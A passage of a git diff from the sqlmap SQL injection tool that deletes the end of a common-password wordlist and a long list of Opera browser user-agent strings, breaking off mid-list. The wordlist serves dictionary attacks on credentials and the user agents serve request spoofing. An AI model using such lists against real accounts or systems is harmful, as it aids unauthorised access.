-yogibear -yolanda -yomama -yoteamo -young -your_pass -ysrmma -yukon -yvette -yvonne -zachary -zack -zapata -zapato -zaphod -zaq12wsx -zebra -zebras -zenith -zephyr -zeppelin -zepplin -zeus -zhongguo -ziggy -zigzag -zirtaeb -zoltan -zombie -zoomer -zorro -zwerg -zxc -zxc123 -zxccxz -zxcvb -Zxcvb -zxcvbn -zxcvbnm -Zxcvbnm -zxcxz -zxczxc -zzz -zzzzz -zzzzzz diff --git a/txt/user-agents.txt b/txt/user-agents.txt deleted file mode 100644 index 2e0b12bf76a..00000000000 --- a/txt/user-agents.txt +++ /dev/null @@ -1,4212 +0,0 @@ -# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) -# See the file 'LICENSE' for copying permission - -# Opera - -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; pl) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; da) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.01 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 7.60 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.00 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.01 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.24 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; es-la) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; fr) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; IT) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; pl) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.0 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.01 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 9.52 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.51 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; sv) Opera 8.53 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; tr) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; ru) Opera 8.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.26 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 6.0; tr) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; de) Opera 10.10 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.02 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.52 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.54 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.22 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 9.27 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; ru) Opera 8.51 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.50 -Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux x86_64; en) Opera 9.60 -Mozilla/4.0 (compatible; MSIE 8.0; Linux i686; en) Opera 10.51 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; ko) Opera 10.53 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; pl) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; en) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; ja) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; de) Opera 11.01 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; en) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; fr) Opera 11.00 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; de) Opera 10.62 -Mozilla/4.0 (compatible; MSIE 8.0; X11; Linux x86_64; pl) Opera 11.00 -Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; zh-cn) Opera 8.65 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14 -Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51 -Mozilla/5.0 (Linux i686; U; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Macintosh; Intel Mac OS X; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Macintosh; PPC Mac OS X; U; en) Opera 8.51 -Mozilla/5.0 (Windows 98; U; en) Opera 8.54 -Mozilla/5.0 (Windows ME; U; en) Opera 8.51 -Mozilla/5.0 (Windows NT 5.0; U; de) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1) Gecko/20100101 Firefox/14.0 Opera/12.0 -Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; de) Opera 8.52 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.52 -Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en-GB; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.61 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.0 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.01 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.02 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.50 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.51 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.52 -Mozilla/5.0 (Windows NT 5.1; U; en) Opera 8.53 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.22 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.24 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.26 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/5.0 Opera 11.11 -Mozilla/5.0 (Windows NT 5.1; U; es-la; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/3.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/4.5; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; Firefox/5.0; en; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; fr) Opera 8.51 -Mozilla/5.0 (Windows NT 5.1; U; pl) Opera 8.54 -Mozilla/5.0 (Windows NT 5.1; U; pl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 5.1; U; ru) Opera 8.51 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.53 -Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 5.2; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.27 -Mozilla/5.0 (Windows NT 5.2; U; ru; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.70 -Mozilla/5.0 (Windows NT 6.0; rv:2.0) Gecko/20100101 Firefox/4.0 Opera 12.14 -Mozilla/5.0 (Windows NT 6.0; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (Windows NT 6.0; U; ja; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.00 -Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 10.10 -Mozilla/5.0 (Windows NT 6.1; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 -Mozilla/5.0 (Windows NT 6.1; U; en-GB; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.51 -Mozilla/5.0 (Windows NT 6.1; U; nl; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 11.01 -Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9b3) Gecko/2008020514 Opera 9.5 -Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101213 Opera/9.80 (Windows NT 6.1; U; zh-tw) Presto/2.7.62 Version/11.01 -Mozilla/5.0 (X11; Linux i686; U; en) Opera 8.52 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 -Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 -Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 -Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 -Opera/8.00 (Windows NT 5.1; U; en) -Opera/8.01 (Macintosh; PPC Mac OS X; U; en) -Opera/8.01 (Macintosh; U; PPC Mac OS; en) -Opera/8.01 (Windows NT 5.0; U; de) -Opera/8.01 (Windows NT 5.1; U; de) -Opera/8.01 (Windows NT 5.1; U; en) -Opera/8.01 (Windows NT 5.1; U; fr) -Opera/8.01 (Windows NT 5.1; U; pl) -Opera/8.02 (Windows NT 5.1; U; de) -Opera/8.02 (Windows NT 5.1; U; en) -Opera/8.02 (Windows NT 5.1; U; ru) -Opera/8.0 (Windows NT 5.1; U; en) -Opera/8.0 (X11; Linux i686; U; cs) -Opera/8.10 (Windows NT 5.1; U; en) -Opera/8.50 (Windows 98; U; en) -Opera/8.50 (Windows 98; U; ru) -Opera/8.50 (Windows ME; U; en) -Opera/8.50 (Windows NT 4.0; U; zh-cn) -Opera/8.50 (Windows NT 5.0; U; de) -Opera/8.50 (Windows NT 5.0; U; en) -Opera/8.50 (Windows NT 5.0; U; fr) -Opera/8.50 (Windows NT 5.1; U; de) -Opera/8.50 (Windows NT 5.1; U; en) -Opera/8.50 (Windows NT 5.1; U; es-ES) -Opera/8.50 (Windows NT 5.1; U; fr) -Opera/8.50 (Windows NT 5.1; U; pl) -Opera/8.50 (Windows NT 5.1; U; ru) -Opera/8.51 (FreeBSD 5.1; U; en) -Opera/8.51 (Macintosh; PPC Mac OS X; U; de) -Opera/8.51 (Windows 98; U; en) -Opera/8.51 (Windows NT 5.0; U; en) -Opera/8.51 (Windows NT 5.1; U; de) -Opera/8.51 (Windows NT 5.1; U; en) -Opera/8.51 (Windows NT 5.1; U; fr) -Opera/8.51 (Windows NT 5.1; U; nb) -Opera/8.51 (Windows NT 5.1; U; pl) -Opera/8.51 (X11; Linux i686; U; en) -Opera/8.51 (X11; Linux x86_64; U; en) -Opera/8.51 (X11; U; Linux i686; en-US; rv:1.8) -Opera/8.52 (Windows ME; U; en) -Opera/8.52 (Windows NT 5.0; U; en) -Opera/8.52 (Windows NT 5.1; U; en) -Opera/8.52 (Windows NT 5.1; U; ru) -Opera/8.52 (X11; Linux i686; U; en) -Opera/8.52 (X11; Linux x86_64; U; en) -Opera/8.53 (Windows 98; U; en) -Opera/8.53 (Windows NT 5.0; U; en) -Opera/8.53 (Windows NT 5.1; U; de) -Opera/8.53 (Windows NT 5.1; U; en) -Opera/8.53 (Windows NT 5.1; U; pt) -Opera/8.53 (Windows NT 5.2; U; en) -Opera/8.54 (Windows 98; U; en) -Opera/8.54 (Windows NT 4.0; U; zh-cn) -Opera/8.54 (Windows NT 5.0; U; de) -Opera/8.54 (Windows NT 5.0; U; en) -Opera/8.54 (Windows NT 5.1; U; en) -Opera/8.54 (Windows NT 5.1; U; pl) -Opera/8.54 (Windows NT 5.1; U; ru) -Opera/8.54 (X11; Linux i686; U; de) -Opera/8.54 (X11; Linux i686; U; pl) -Opera/9.00 (Macintosh; PPC Mac OS X; U; es) -Opera/9.00 (Windows NT 5.0; U; en) -Opera/9.00 (Windows NT 5.1; U; de) -Opera/9.00 (Windows NT 5.1; U; en) -Opera/9.00 (Windows NT 5.1; U; es-es) -Opera/9.00 (Windows NT 5.1; U; fi) -Opera/9.00 (Windows NT 5.1; U; fr) -Opera/9.00 (Windows NT 5.1; U; it) -Opera/9.00 (Windows NT 5.1; U; ja) -Opera/9.00 (Windows NT 5.1; U; nl) -Opera/9.00 (Windows NT 5.1; U; pl) -Opera/9.00 (Windows NT 5.1; U; ru) -Opera/9.00 (Windows NT 5.2; U; en) -Opera/9.00 (Windows NT 5.2; U; pl) -Opera/9.00 (Windows NT 5.2; U; ru) -Opera/9.00 (Windows; U) -Opera/9.00 (X11; Linux i686; U; de) -Opera/9.00 (X11; Linux i686; U; en) -Opera/9.00 (X11; Linux i686; U; pl) -Opera/9.01 (Macintosh; PPC Mac OS X; U; en) -Opera/9.01 (Macintosh; PPC Mac OS X; U; it) -Opera/9.01 (Windows NT 5.0; U; de) -Opera/9.01 (Windows NT 5.0; U; en) -Opera/9.01 (Windows NT 5.1) -Opera/9.01 (Windows NT 5.1; U; bg) -Opera/9.01 (Windows NT 5.1; U; cs) -Opera/9.01 (Windows NT 5.1; U; da) -Opera/9.01 (Windows NT 5.1; U; de) -Opera/9.01 (Windows NT 5.1; U; en) -Opera/9.01 (Windows NT 5.1; U; es-es) -Opera/9.01 (Windows NT 5.1; U; ja) -Opera/9.01 (Windows NT 5.1; U; pl) -Opera/9.01 (Windows NT 5.1; U; ru) -Opera/9.01 (Windows NT 5.2; U; en) -Opera/9.01 (Windows NT 5.2; U; ru) -Opera/9.01 (X11; FreeBSD 6 i386; U; en) -Opera/9.01 (X11; FreeBSD 6 i386; U;pl) -Opera/9.01 (X11; Linux i686; U; en) -Opera/9.01 (X11; OpenBSD i386; U; en) -Opera/9.02 (Windows NT 5.0; U; en) -Opera/9.02 (Windows NT 5.0; U; pl) -Opera/9.02 (Windows NT 5.0; U; sv) -Opera/9.02 (Windows NT 5.1; U; de) -Opera/9.02 (Windows NT 5.1; U; en) -Opera/9.02 (Windows NT 5.1; U; fi) -Opera/9.02 (Windows NT 5.1; U; ja) -Opera/9.02 (Windows NT 5.1; U; nb) -Opera/9.02 (Windows NT 5.1; U; pl) -Opera/9.02 (Windows NT 5.1; U; pt-br) -Opera/9.02 (Windows NT 5.1; U; ru) -Opera/9.02 (Windows NT 5.1; U; zh-cn) -Opera/9.02 (Windows NT 5.2; U; de) -Opera/9.02 (Windows NT 5.2; U; en) -Opera/9.02 (Windows; U; nl) -Opera/9.02 (Windows XP; U; ru) -Opera/9.02 (X11; Linux i686; U; de) -Opera/9.02 (X11; Linux i686; U; en) -Opera/9.02 (X11; Linux i686; U; hu) -Opera/9.02 (X11; Linux i686; U; pl) -Opera/9.10 (Windows NT 5.1; U; es-es) -Opera/9.10 (Windows NT 5.1; U; fi) -Opera/9.10 (Windows NT 5.1; U; hu) -Opera/9.10 (Windows NT 5.1; U; it) -Opera/9.10 (Windows NT 5.1; U; nl) -Opera/9.10 (Windows NT 5.1; U; pl) -Opera/9.10 (Windows NT 5.1; U; pt) -Opera/9.10 (Windows NT 5.1; U; sv) -Opera/9.10 (Windows NT 5.1; U; zh-tw) -Opera/9.10 (Windows NT 5.2; U; de) -Opera/9.10 (Windows NT 5.2; U; en) -Opera/9.10 (Windows NT 6.0; U; en) -Opera/9.10 (Windows NT 6.0; U; it-IT) -Opera/9.10 (X11; Linux i386; U; en) -Opera/9.10 (X11; Linux i686; U; en) -Opera/9.10 (X11; Linux i686; U; kubuntu;pl) -Opera/9.10 (X11; Linux i686; U; pl) -Opera/9.10 (X11; Linux; U; en) -Opera/9.10 (X11; Linux x86_64; U; en) -Opera/9.12 (Windows NT 5.0; U) -Opera/9.12 (Windows NT 5.0; U; ru) -Opera/9.12 (X11; Linux i686; U; en) (Ubuntu) -Opera/9.20 (Windows NT 5.1; U; en) -Opera/9.20(Windows NT 5.1; U; en) -Opera/9.20 (Windows NT 5.1; U; es-AR) -Opera/9.20 (Windows NT 5.1; U; es-es) -Opera/9.20 (Windows NT 5.1; U; it) -Opera/9.20 (Windows NT 5.1; U; nb) -Opera/9.20 (Windows NT 5.1; U; zh-tw) -Opera/9.20 (Windows NT 5.2; U; en) -Opera/9.20 (Windows NT 6.0; U; de) -Opera/9.20 (Windows NT 6.0; U; en) -Opera/9.20 (Windows NT 6.0; U; es-es) -Opera/9.20 (X11; Linux i586; U; en) -Opera/9.20 (X11; Linux i686; U; en) -Opera/9.20 (X11; Linux i686; U; es-es) -Opera/9.20 (X11; Linux i686; U; pl) -Opera/9.20 (X11; Linux i686; U; ru) -Opera/9.20 (X11; Linux i686; U; tr) -Opera/9.20 (X11; Linux ppc; U; en) -Opera/9.20 (X11; Linux x86_64; U; en) -Opera/9.21 (Macintosh; Intel Mac OS X; U; en) -Opera/9.21 (Macintosh; PPC Mac OS X; U; en) -Opera/9.21 (Windows 98; U; en) -Opera/9.21 (Windows NT 5.0; U; de) -Opera/9.21 (Windows NT 5.1; U; de) -Opera/9.21 (Windows NT 5.1; U; en) -Opera/9.21 (Windows NT 5.1; U; fr) -Opera/9.21 (Windows NT 5.1; U; nl) -Opera/9.21 (Windows NT 5.1; U; pl) -Opera/9.21 (Windows NT 5.1; U; pt-br) -Opera/9.21 (Windows NT 5.1; U; ru) -Opera/9.21 (Windows NT 5.2; U; en) -Opera/9.21 (Windows NT 6.0; U; en) -Opera/9.21 (Windows NT 6.0; U; nb) -Opera/9.21 (X11; Linux i686; U; de) -Opera/9.21 (X11; Linux i686; U; en) -Opera/9.21 (X11; Linux i686; U; es-es) -Opera/9.21 (X11; Linux x86_64; U; en) -Opera/9.22 (Windows NT 5.1; U; en) -Opera/9.22 (Windows NT 5.1; U; fr) -Opera/9.22 (Windows NT 5.1; U; pl) -Opera/9.22 (Windows NT 6.0; U; en) -Opera/9.22 (Windows NT 6.0; U; ru) -Opera/9.22 (X11; Linux i686; U; de) -Opera/9.22 (X11; Linux i686; U; en) -Opera/9.22 (X11; OpenBSD i386; U; en) -Opera/9.23 (Macintosh; Intel Mac OS X; U; ja) -Opera/9.23 (Mac OS X; fr) -Opera/9.23 (Mac OS X; ru) -Opera/9.23 (Windows NT 5.0; U; de) -Opera/9.23 (Windows NT 5.0; U; en) -Opera/9.23 (Windows NT 5.1; U; da) -Opera/9.23 (Windows NT 5.1; U; de) -Opera/9.23 (Windows NT 5.1; U; en) -Opera/9.23 (Windows NT 5.1; U; fi) -Opera/9.23 (Windows NT 5.1; U; it) -Opera/9.23 (Windows NT 5.1; U; ja) -Opera/9.23 (Windows NT 5.1; U; pt) -Opera/9.23 (Windows NT 5.1; U; zh-cn) -Opera/9.23 (Windows NT 6.0; U; de) -Opera/9.23 (X11; Linux i686; U; en) -Opera/9.23 (X11; Linux i686; U; es-es) -Opera/9.23 (X11; Linux x86_64; U; en) -Opera/9.24 (Macintosh; PPC Mac OS X; U; en) -Opera/9.24 (Windows NT 5.0; U; ru) -Opera/9.24 (Windows NT 5.1; U; ru) -Opera/9.24 (Windows NT 5.1; U; tr) -Opera/9.24 (X11; Linux i686; U; de) -Opera/9.24 (X11; SunOS i86pc; U; en) -Opera/9.25 (Macintosh; Intel Mac OS X; U; en) -Opera/9.25 (Macintosh; PPC Mac OS X; U; en) -Opera/9.25 (OpenSolaris; U; en) -Opera/9.25 (Windows NT 4.0; U; en) -Opera/9.25 (Windows NT 5.0; U; cs) -Opera/9.25 (Windows NT 5.0; U; en) -Opera/9.25 (Windows NT 5.1; U; de) -Opera/9.25 (Windows NT 5.1; U; lt) -Opera/9.25 (Windows NT 5.1; U; ru) -Opera/9.25 (Windows NT 5.1; U; zh-cn) -Opera/9.25 (Windows NT 5.2; U; en) -Opera/9.25 (Windows NT 6.0; U; en-US) -Opera/9.25 (Windows NT 6.0; U; ru) -Opera/9.25 (Windows NT 6.0; U; sv) -Opera/9.25 (X11; Linux i686; U; en) -Opera/9.25 (X11; Linux i686; U; fr) -Opera/9.25 (X11; Linux i686; U; fr-ca) -Opera/9.26 (Macintosh; PPC Mac OS X; U; en) -Opera/9.26 (Windows NT 5.1; U; de) -Opera/9.26 (Windows NT 5.1; U; nl) -Opera/9.26 (Windows NT 5.1; U; pl) -Opera/9.26 (Windows NT 5.1; U; zh-cn) -Opera/9.26 (Windows; U; pl) -Opera/9.27 (Macintosh; Intel Mac OS X; U; sv) -Opera/9.27 (Windows NT 5.1; U; ja) -Opera/9.27 (Windows NT 5.2; U; en) -Opera/9.27 (X11; Linux i686; U; en) -Opera/9.27 (X11; Linux i686; U; fr) -Opera 9.4 (Windows NT 5.3; U; en) -Opera 9.4 (Windows NT 6.1; U; en) -Opera/9.50 (Macintosh; Intel Mac OS X; U; de) -Opera/9.50 (Macintosh; Intel Mac OS X; U; en) -Opera/9.50 (Windows NT 5.1; U; es-ES) -Opera/9.50 (Windows NT 5.1; U; it) -Opera/9.50 (Windows NT 5.1; U; nl) -Opera/9.50 (Windows NT 5.1; U; nn) -Opera/9.50 (Windows NT 5.1; U; ru) -Opera/9.50 (Windows NT 5.2; U; it) -Opera/9.50 (X11; Linux i686; U; es-ES) -Opera/9.50 (X11; Linux ppc; U; en) -Opera/9.50 (X11; Linux x86_64; U; nb) -Opera/9.50 (X11; Linux x86_64; U; pl) -Opera/9.51 (Macintosh; Intel Mac OS X; U; en) -Opera/9.51 (Windows NT 5.1; U; da) -Opera/9.51 (Windows NT 5.1; U; en) -Opera/9.51 (Windows NT 5.1; U; en-GB) -Opera/9.51 (Windows NT 5.1; U; es-AR) -Opera/9.51 (Windows NT 5.1; U; es-LA) -Opera/9.51 (Windows NT 5.1; U; fr) -Opera/9.51 (Windows NT 5.1; U; nn) -Opera/9.51 (Windows NT 5.2; U; en) -Opera/9.51 (Windows NT 6.0; U; en) -Opera/9.51 (Windows NT 6.0; U; es) -Opera/9.51 (Windows NT 6.0; U; sv) -Opera/9.51 (X11; Linux i686; U; de) -Opera/9.51 (X11; Linux i686; U; fr) -Opera/9.51 (X11; Linux i686; U; Linux Mint; en) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt) -Opera/9.52 (Macintosh; Intel Mac OS X; U; pt-BR) -Opera/9.52 (Macintosh; PPC Mac OS X; U; fr) -Opera/9.52 (Macintosh; PPC Mac OS X; U; ja) -Opera/9.52 (Windows NT 5.0; U; en) -Opera/9.52 (Windows NT 5.2; U; ru) -Opera/9.52 (Windows NT 6.0; U; de) -Opera/9.52 (Windows NT 6.0; U; en) -Opera/9.52 (Windows NT 6.0; U; fr) -Opera/9.52 (Windows NT 6.0; U; Opera/9.52 (X11; Linux x86_64; U); en) -Opera/9.52 (X11; Linux i686; U; cs) -Opera/9.52 (X11; Linux i686; U; en) -Opera/9.52 (X11; Linux i686; U; fr) -Opera/9.52 (X11; Linux ppc; U; de) -Opera/9.52 (X11; Linux x86_64; U) -Opera/9.52 (X11; Linux x86_64; U; en) -Opera/9.52 (X11; Linux x86_64; U; ru) -Opera/9.5 (Windows NT 5.1; U; fr) -Opera/9.5 (Windows NT 6.0; U; en) -Opera/9.60 (Windows NT 5.0; U; en) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; es-ES) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; sv) Presto/2.1.1 -Opera/9.60 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; bg) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; de) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; pl) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.60 (Windows NT 6.0; U; uk) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; en-GB) Presto/2.1.1 -Opera/9.60 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.60 (X11; Linux x86_64; U) -Opera/9.61 (Macintosh; Intel Mac OS X; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; cs) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; de) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; fr) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.61 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.61 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; en) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; http://lucideer.com; en-GB) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; pt-BR) Presto/2.1.1 -Opera/9.61 (Windows NT 6.0; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; de) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; en) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; pl) Presto/2.1.1 -Opera/9.61 (X11; Linux i686; U; ru) Presto/2.1.1 -Opera/9.61 (X11; Linux x86_64; U; fr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; pt-BR) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; ru) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; tr) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-cn) Presto/2.1.1 -Opera/9.62 (Windows NT 5.1; U; zh-tw) Presto/2.1.1 -Opera/9.62 (Windows NT 5.2; U; en) Presto/2.1.1 -Opera/9.62 